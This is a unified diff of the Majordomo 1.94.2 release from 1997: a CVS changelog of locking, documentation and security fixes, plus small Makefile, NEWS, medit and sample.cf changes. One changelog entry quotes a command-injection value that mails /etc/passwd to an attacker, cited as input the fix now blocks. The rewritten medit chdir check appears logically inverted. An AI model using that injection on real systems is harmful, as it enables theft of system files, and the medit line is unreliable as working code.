diff -u ./Changelog ../majordomo-1.94.2/Changelog --- ./Changelog Fri May 24 00:02:49 1996 +++ ../majordomo-1.94.2/Changelog Sun Apr 27 17:29:50 1997 @@ -1,5 +1,669 @@ - * Changelog: release of majordomo version 1.94 +Changes since 1.94.1: +Doc/list-owner-info 1.9:1.10 + revision 1.10 + date: 1997/04/05 19:18:10; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704031832.MAA19186@miaow.risc.sps.mot.com> + o more documentation fixes. + ---------------------------- +Doc/majordomo-faq.html 1.2:1.3 + revision 1.3 + date: 1997/04/27 14:57:00; author: cwilson; state: Exp; lines: +85 -48 + latest revisions + ---------------------------- +Doc/majordomo-faq.txt 1.1:1.2 + revision 1.2 + date: 1997/04/27 14:57:05; author: cwilson; state: Exp; lines: +929 -854 + latest revisions + ---------------------------- +Doc/man/digest.1 1.3:1.4 + revision 1.4 + date: 1997/04/20 16:25:43; author: cwilson; state: Exp; lines: +5 -2 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +Doc/man/majordomo.8 1.4:1.5 + revision 1.5 + date: 1997/04/20 16:25:49; author: cwilson; state: Exp; lines: +45 -3 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +INSTALL 1.7:1.10 + revision 1.10 + date: 1997/04/20 16:10:30; author: cwilson; state: Exp; lines: +12 -10 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.9 + date: 1997/03/11 10:19:33; author: cwilson; state: Exp; lines: +21 -21 + o Swap steps 8 and 9 -- alias setup before attempting to register. + ---------------------------- + revision 1.8 + date: 1997/03/11 10:11:59; author: cwilson; state: Exp; lines: +1 -1 + From: Jerry Peek + Message-ID: <17276.852523071@rubble.west.ora.com> + + o Wrong filename in 1.94.1 INSTALL file + ---------------------------- +Makefile 1.56:1.61 + revision 1.61 + date: 1997/04/27 14:55:50; author: cwilson; state: Exp; lines: +4 -7 + From: Nicole LaRock Decker + Message-ID: + + o fixes bounce-remind and bounce pointing at each other. + ---------------------------- + revision 1.60 + date: 1997/03/12 16:50:46; author: cwilson; state: Exp; lines: +5 -5 + o version 1.94.2 + ---------------------------- + revision 1.59 + date: 1997/03/11 10:15:16; author: cwilson; state: Exp; lines: +9 -4 + From: Jerry Peek + Message-ID: <15010.852502798@rubble.west.ora.com> + + o install resend.1 and bounce.1 + + Message-ID: <15389.852505074@rubble.west.ora.com> + + o change install.sh flag from -o to -O: + I'm using SunOS 4.1.3, one of the systems (with filesystem quotas) + that only allows root to use chown. As far as I can tell, the 1.94.1 + Makefile is supposed to be runnable by the Majordomo user. It fails + because install.sh tries to run chown as a non-root user: + + % make install-scripts + Testing for perl (/usr/local/bin/perl)... + Configuring scripts... + ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo + Must be root to use chown + *** Error code 1 + make: Fatal error: Command failed for target `install-scripts' + + I haven't followed this problem real closely since I griped about it + for 1.94. I'm sending a patch (below) that seems to work for 1.94.1. + + The install.sh script has two flags for setting ownership, -o and -O. + If you use -o, it seems to always do chown. But if you use -O, it will + only do chown if it's running as root. So my fix just changes that flag. + + I haven't tested this as root -- or on other systems (that let non-root + users do chown). Someone should! + ---------------------------- + revision 1.58 + date: 1997/03/11 09:59:27; author: cwilson; state: Exp; lines: +7 -3 + From: Jerry Peek + Message-ID: <3908.853689282@rubble.west.ora.com> + + o install bounce and resend man pages instead of a stub file. + ---------------------------- + revision 1.57 + date: 1997/03/10 16:08:09; author: cwilson; state: Exp; lines: +4 -4 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199701081942.NAA16946@miaow.risc.sps.mot.com + + o A little fix to help idiot-proof the installation since directories + almost always return true for "test -x": + ---------------------------- +NEWLIST 1.3:1.5 + revision 1.5 + date: 1997/04/02 10:32:06; author: cwilson; state: Exp; lines: +6 -6 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- + revision 1.4 + date: 1997/03/11 10:01:17; author: cwilson; state: Exp; lines: +10 -11 + From: Jerry Peek + Message-ID: <1447.853639763@rubble.west.ora.com> + + o small nits and typos. + ---------------------------- +README 1.36:1.38 + revision 1.38 + date: 1997/04/20 16:10:39; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.37 + date: 1997/04/07 18:56:56; author: cwilson; state: Exp; lines: +19 -18 + From: Dave Wolfe + Message-Id: <199704071503.KAA16480@miaow.risc.sps.mot.com> + + o more doc fixes. + ---------------------------- +approve 1.13:1.15 + revision 1.15 + date: 1997/04/05 19:18:36; author: cwilson; state: Exp; lines: +4 -3 + o Eliminate the "apparently-to" bit + ---------------------------- + revision 1.14 + date: 1997/04/02 10:34:09; author: cwilson; state: Exp; lines: +10 -3 + o tries slightly to find the right sendmail. + ---------------------------- +config-test 1.15:1.17 + revision 1.17 + date: 1997/03/10 17:22:05; author: cwilson; state: Exp; lines: +2 -2 + make config-test execute itself with arguments if it has to. + + "I don't want to die." + "You must, and with a -foo -zot -bang" + "Oh, well, okay." + ---------------------------- + revision 1.16 + date: 1997/03/10 15:45:12; author: cwilson; state: Exp; lines: +9 -8 + From: Dave Wolfe + Message-Id: <199702262130.PAA15843@miaow.risc.sps.mot.com> + + o Patches to fix nits in config-test -w fixes primarily. + ---------------------------- +config_parse.pl 1.60:1.63 + revision 1.63 + date: 1997/04/20 16:06:58; author: cwilson; state: Exp; lines: +15 -9 + From: Dave Wolfe + Message-Id: <199704160058.TAA16410@miaow.risc.sps.mot.com> + + o tighten up the regexp check in grab_regexp_array so that + things like + 1; `/bin/mail evil_hacker < /etc/passwd` ; 0 + aren't allowed. + ---------------------------- + revision 1.62 + date: 1997/03/10 17:19:54; author: cwilson; state: Exp; lines: +17 -8 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.61 + date: 1997/03/10 16:14:41; author: cwilson; state: Exp; lines: +43 -27 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + + o tidy up the documentation a bit. + ---------------------------- +contrib/archive_mh.pl 1.3:1.4 + revision 1.4 + date: 1997/03/10 15:40:41; author: cwilson; state: Exp; lines: +3 -3 + typo: require + ---------------------------- +contrib/makeindex.pl 1.4:1.5 + revision 1.5 + date: 1997/03/11 10:04:47; author: cwilson; state: Exp; lines: +1 -1 + From: Bill + Message-Id: <1.5.4.32.19970117000234.006bfee8@mail.nas.com> + + o catches cc:mail reply prefixes "Re[3]" + ---------------------------- +digest 1.20:1.22 + revision 1.22 + date: 1997/03/10 17:11:25; author: cwilson; state: Exp; lines: +5 -5 + o use -c configfile to specify a different config file. + ---------------------------- + revision 1.21 + date: 1997/03/10 15:49:26; author: cwilson; state: Exp; lines: +21 -14 + From: Oliver Xymoron + Message-ID: + + o This changes digest to use a reasonable default for resend_host if it + is unset. + + From: Dave Wolfe + Message-Id: <199703062200.QAA19582@miaow.risc.sps.mot.com> + + o Since I don't run any digests, I didn't give digest the same close + scrutiny, and decided it was adequate (I'd already fixed one locking + problem there). Recent analysis in light of problems experienced by + digest users (posting to Mj-users) has convinced me that there are still + a couple of problems with digest's locking. + + The first is, that no matter which kind of configuration is used, + the lock is not established until after the volume/issue counts are + read from the respective config files, which could cause incorrect + incrementing of counts. Secondly, in the case of the -C option, the + list-digest.config file is updated without being locked at all, which + could cause loss of counts or configuration parameters. + + This patch should take care of the problems so long as -C and non-C + invocations of digest are *not* used for the same list. Although the + changes are pretty straight forward, I didn't want this patch to miss + 1.94.2 so I publishing it without complete testing. I will try to run + some tests in the next week however. This is against unpatched 1.94.1. + ---------------------------- +majordomo 1.76:1.87 + revision 1.87 + date: 1997/04/20 16:11:49; author: cwilson; state: Exp; lines: +4 -3 + From: "Kendall P. Bullen" + Message-ID: + + o skip directories in do_lists. + ---------------------------- + revision 1.86 + date: 1997/04/20 16:07:30; author: cwilson; state: Exp; lines: +4 -4 + From: "Russell Steinthal" + Message-Id: <199704080042.UAA20817@mailrelay1.cc.columbia.edu> + + o help message fix. + ---------------------------- + revision 1.85 + date: 1997/04/02 11:31:15; author: cwilson; state: Exp; lines: +13 -13 + From: Brock Rozen + Message-Id: + + o Patch for text errors in 1.94.2 in majordomo + ---------------------------- + revision 1.84 + date: 1997/04/02 10:33:38; author: cwilson; state: Exp; lines: +5 -5 + o adds subscriber to notification messages sent to owner. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:29:55; author: cwilson; state: Exp; lines: +9 -5 + o Fixed comment on rcs|cvs|core line + o fixed "this is version $majordomo_version" + ---------------------------- + revision 1.82 + date: 1997/03/12 16:51:00; author: cwilson; state: Exp; lines: +17 -17 + o those pesky @ signs. + ---------------------------- + revision 1.81 + date: 1997/03/11 10:44:58; author: cwilson; state: Exp; lines: +193 -4 + From: "Roger B.A. Klorese" + Message-Id: <3.0.1.32.19970120185923.0306366c@pop.queernet.org> + + o MajorDumbo help file (insert smiley here) + additional dumbo-user text from do_help. + ---------------------------- + revision 1.80 + date: 1997/03/10 17:20:00; author: cwilson; state: Exp; lines: +36 -32 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.79 + date: 1997/03/10 17:14:28; author: cwilson; state: Exp; lines: +6 -3 + o make sure a lists command returns something for the user. + ---------------------------- + revision 1.78 + date: 1997/03/10 17:11:50; author: cwilson; state: Exp; lines: +4 -4 + o a better check to ignore RCS|CVS|core files/dirs. + ---------------------------- + revision 1.77 + date: 1997/03/10 15:55:15; author: cwilson; state: Exp; lines: +17 -11 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199612302041.OAA16225@miaow.risc.sps.mot.com + + o Fixes approve acceppeted commands lose arguments + + From: Dave Wolfe + Message-Id: <199701201709.LAA06157@miaow.risc.sps.mot.com> + ( oxymoron@waste.org (Oliver Xymoron) ) + + o Security fix: "unsubscribe *" won't mention hidden lists + + From: coar@decus.org (Rodent of Unusual Size) + Message-Id: <97012711105403@decus.org> + + o Concerning WriteConfig's creating an output file based upon the + input list name rather than the case-smashed one: found the problem. + + From: brozen@webdreams.com (Brock Rozen) + Message-ID: Pine.OSF.3.95.970106122125.11202C-100000@webdreams.com + + o Slightly different text for subscribe message + ---------------------------- +majordomo.aliases 1.1:1.2 + revision 1.2 + date: 1997/04/02 10:32:32; author: cwilson; state: Exp; lines: +3 -3 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- +majordomo.pl 1.52:1.55 + revision 1.55 + date: 1997/04/02 14:04:14; author: cwilson; state: Exp; lines: +4 -4 + o added $EX_NOUSER + ---------------------------- + revision 1.54 + date: 1997/04/02 09:12:35; author: cwilson; state: Exp; lines: +4 -4 + hack fix to ParseAddrs to allow "john doe"@x.y addresses + ---------------------------- + revision 1.53 + date: 1997/03/10 16:07:14; author: cwilson; state: Exp; lines: +27 -22 + From: Dave Wolfe + Message-Id: <199701201535.JAA13519@miaow.risc.sps.mot.com> + ^^^^^^^ MAJORDOMO-USERS ARCHIVE! ^^^^^^^^^^^^^ + + o fixes regexp at line 519 + o tidy up is_list_member to handle absolute paths in restrict_post variable. + + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199702261507.JAA14866@miaow.risc.sps.mot.com + + o log file doesn't exist regexp bug + ---------------------------- +majordomo_version.pl 1.18:1.24 + revision 1.24 + date: 1997/04/27 15:05:38; author: cwilson; state: Exp; lines: +2 -2 + 1.94.2 + ---------------------------- + revision 1.23 + date: 1997/04/20 16:48:22; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but really call it 1.94.2_spin4 + ---------------------------- + revision 1.22 + date: 1997/04/20 16:43:01; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but call it 1.94.2. + ---------------------------- + revision 1.21 + date: 1997/04/07 18:59:16; author: cwilson; state: Exp; lines: +2 -2 + o spin 3 + ---------------------------- + revision 1.20 + date: 1997/04/02 14:05:15; author: cwilson; state: Exp; lines: +2 -2 + o spin #2 + ---------------------------- + revision 1.19 + date: 1997/03/12 16:51:16; author: cwilson; state: Exp; lines: +2 -2 + o bump the version # to .2_spin1 + ---------------------------- +medit 1.7:1.9 + revision 1.9 + date: 1997/04/27 14:56:14; author: cwilson; state: Exp; lines: +4 -3 + o chdir correctly. + ---------------------------- + revision 1.8 + date: 1997/04/20 16:25:08; author: cwilson; state: Exp; lines: +3 -3 + From: Jerry Peek + Message-Id: <199704171515.LAA02975@hrothgar.gw.com> + + o I also found what looks like another bug: if $listdir isn't defined, + then the chdir to $listdir *succeeds* and the call to die() isn't + executed. + ---------------------------- +resend 1.80:1.85 + revision 1.85 + date: 1997/04/02 14:04:48; author: cwilson; state: Exp; lines: +8 -4 + o don't abort if mailer is sendmail and sendmail exits with EX_NOUSER + ---------------------------- + revision 1.84 + date: 1997/04/02 10:39:50; author: cwilson; state: Exp; lines: +8 -3 + o Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH + if they aren't defined. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:27:17; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199703171511.JAA16200@miaow.risc.sps.mot.com> + + [ David Brownlee ] + + only check subject for admin headers if administrivia is set in list + config file. + ---------------------------- + revision 1.82 + date: 1997/03/11 16:18:33; author: cwilson; state: Exp; lines: +2 -12 + From: Dave Wolfe + Message-Id: <199701012129.PAA19165@miaow.risc.sps.mot.com> + + o This patch removes the misfeature in resend that looks for an absolute + path in the approve_passwd or -a string to use as a file containing the + actual password. Such a pathname is a security risk, can't be managed + remotely, and, if set to the list.passwd file, is a security trap for + the naive. + ---------------------------- + revision 1.81 + date: 1997/03/10 16:22:47; author: cwilson; state: Exp; lines: +15 -40 + From: Dave Wolfe + Message-Id: <199702261532.JAA13946@miaow.risc.sps.mot.com> + + o If the list is moderated, don't immediately complain about an + invalid approved header. + + From: Dave Wolfe + Message-Id: <199702121912.NAA18025@miaow.risc.sps.mot.com> + + o make sure there's a newline after message_headers and + message_footers. + + From: Dave Wolfe + Message-Id: <199701091841.MAA20902@miaow.risc.sps.mot.com> + + o fix up restrict_post code. + ---------------------------- +sample.cf 1.28:1.33 + revision 1.33 + date: 1997/04/27 14:56:45; author: cwilson; state: Exp; lines: +10 -1 + From: Earle Ake + Message-Id: <199704211308.JAA15364@hcst.net> + + o commentary for x400 stuff. + ---------------------------- + revision 1.32 + date: 1997/04/07 18:57:43; author: cwilson; state: Exp; lines: +2 -1 + From: Thomas Ritter + Message-ID: <01BC4032.AB7CB330@eze22rt.pn5.erd.siemens.at> + + o added /^subject:\s*Autoreply/i to global_taboo_headers. + ---------------------------- + revision 1.31 + date: 1997/04/02 10:33:13; author: cwilson; state: Exp; lines: +4 -2 + o Added 'cancel' to admin_headers and admin_body + o added listproc to majordomo_dont_reply. + ---------------------------- + revision 1.30 + date: 1997/03/11 10:19:46; author: cwilson; state: Exp; lines: +3 -3 + o remove globs from uptime check. + ---------------------------- + revision 1.29 + date: 1997/03/10 16:23:03; author: cwilson; state: Exp; lines: +2 -2 + fix variable typo. + ---------------------------- +shlock.pl 1.11:1.13 + revision 1.13 + date: 1997/03/10 17:01:15; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + + o more tidying. + ---------------------------- + revision 1.12 + date: 1997/03/10 16:25:23; author: cwilson; state: Exp; lines: +13 -10 + From: Dave Wolfe + Message-Id: <199612311338.HAA10833@miaow.risc.sps.mot.com> + + o more shlock tweaking. + ---------------------------- + +* Changelog: release of majordomo version 1.94 + Big New Features in 1.94, or 3 tasty reasons to upgrade: ++ From: Brent Chapman @@ -1578,5 +2242,5 @@ then only members of the list can access the list with "who" and "which" commands. -$Header: /sources/cvsrepos/majordomo/Changelog,v 1.20 1996/05/23 22:02:49 cwilson Exp $ +$Header: /sources/cvsrepos/majordomo/Changelog,v 1.21 1997/04/27 15:29:50 cwilson Exp $ Common subdirectories: ./Doc and ../majordomo-1.94.2/Doc diff -u ./Makefile ../majordomo-1.94.2/Makefile --- ./Makefile Wed Mar 12 17:50:46 1997 +++ ../majordomo-1.94.2/Makefile Sun Apr 27 16:55:50 1997 @@ -1,9 +1,9 @@ -#$Modified: Wed Mar 12 17:30:11 1997 by cwilson $ +#$Modified: Sun Apr 27 16:52:37 1997 by cwilson $ # # $Source: /sources/cvsrepos/majordomo/Makefile,v $ -# $Revision: 1.60 $ -# $Date: 1997/03/12 16:50:46 $ -# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.60 1997/03/12 16:50:46 cwilson Exp $ +# $Revision: 1.61 $ +# $Date: 1997/04/27 14:55:50 $ +# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.61 1997/04/27 14:55:50 cwilson Exp $ # # This is the Makefile for Majordomo. @@ -212,9 +212,6 @@ Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1 @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ Doc/man/resend.1 $(MAN)/man1/resend.1 - @echo ".so man1/bounce-remind.1" > $(TMPDIR)/BoUnCe.$(VERSION) - @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ - $(TMPDIR)/BoUnCe.$(VERSION) $(MAN)/man1/bounce.1 @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ Doc/man/majordomo.8 $(MAN)/man8/majordomo.8 @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ diff -u ./NEWS ../majordomo-1.94.2/NEWS --- ./NEWS Tue Dec 24 12:11:18 1996 +++ ../majordomo-1.94.2/NEWS Sun Apr 27 17:29:56 1997 @@ -1,3 +1,12 @@ +Changes from 1.94.1 to 1.94.2: + +o More documentation fixes. +o increased checking in regexps +o better locking +o ignore directories in the list directory. +o resend doesn't abort if the sendmail error is EX_NOUSER + + Changes from 1.94 to 1.94.1 Improved Installation: Common subdirectories: ./contrib and ../majordomo-1.94.2/contrib Common subdirectories: ./include and ../majordomo-1.94.2/include diff -u ./majordomo_version.pl ../majordomo-1.94.2/majordomo_version.pl --- ./majordomo_version.pl Sun Apr 20 18:48:22 1997 +++ ../majordomo-1.94.2/majordomo_version.pl Sun Apr 27 17:05:38 1997 @@ -1,5 +1,5 @@ -# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.24 1997/04/27 15:05:38 cwilson Exp $ -$majordomo_version = "1.94.2_spin4"; +$majordomo_version = "1.94.2"; 1; Common subdirectories: ./md-sub and ../majordomo-1.94.2/md-sub diff -u ./medit ../majordomo-1.94.2/medit --- ./medit Sun Apr 20 18:25:08 1997 +++ ../majordomo-1.94.2/medit Sun Apr 27 16:56:14 1997 @@ -6,8 +6,8 @@ # permission only. # # $Source: /sources/cvsrepos/majordomo/medit,v $ -# $Revision: 1.8 $ -# $Date: 1997/04/20 16:25:08 $ +# $Revision: 1.9 $ +# $Date: 1997/04/27 14:56:14 $ # $Author: cwilson $ # $State: Exp $ # @@ -35,7 +35,8 @@ # Here's where the fun begins... -defined($listdir) && chdir "$listdir" || die("can't access \$listdir $listdir"); +! (defined($listdir) && chdir "$listdir") + || die("can't access \$listdir $listdir"); $editor = $ENV{"EDITOR"} || "vi"; diff -u ./sample.cf ../majordomo-1.94.2/sample.cf --- ./sample.cf Mon Apr 7 20:57:43 1997 +++ ../majordomo-1.94.2/sample.cf Sun Apr 27 16:56:45 1997 @@ -107,7 +107,16 @@ # @ sign (meaning that it's headed to an smtp->x400 gateway, as well # as the 'c=' and 'a[dm]=' parts, which mean something as well. # +# If you will be receiving x400 style return addresses that do not have +# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1. +# Otherwise, leave $no_x400 at 0. +# $no_x400at = 0; +# +# If you will be receiving x400 addresses without the c= or a[dm]= parts +# set the $no_true_x400 variable to 1. This will disable checking for +# "c=" and "a[dm]=" pieces. +# $no_true_x400 = 0; @@ -304,4 +313,4 @@ $majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; 1; -# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.32 1997/04/07 18:57:43 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $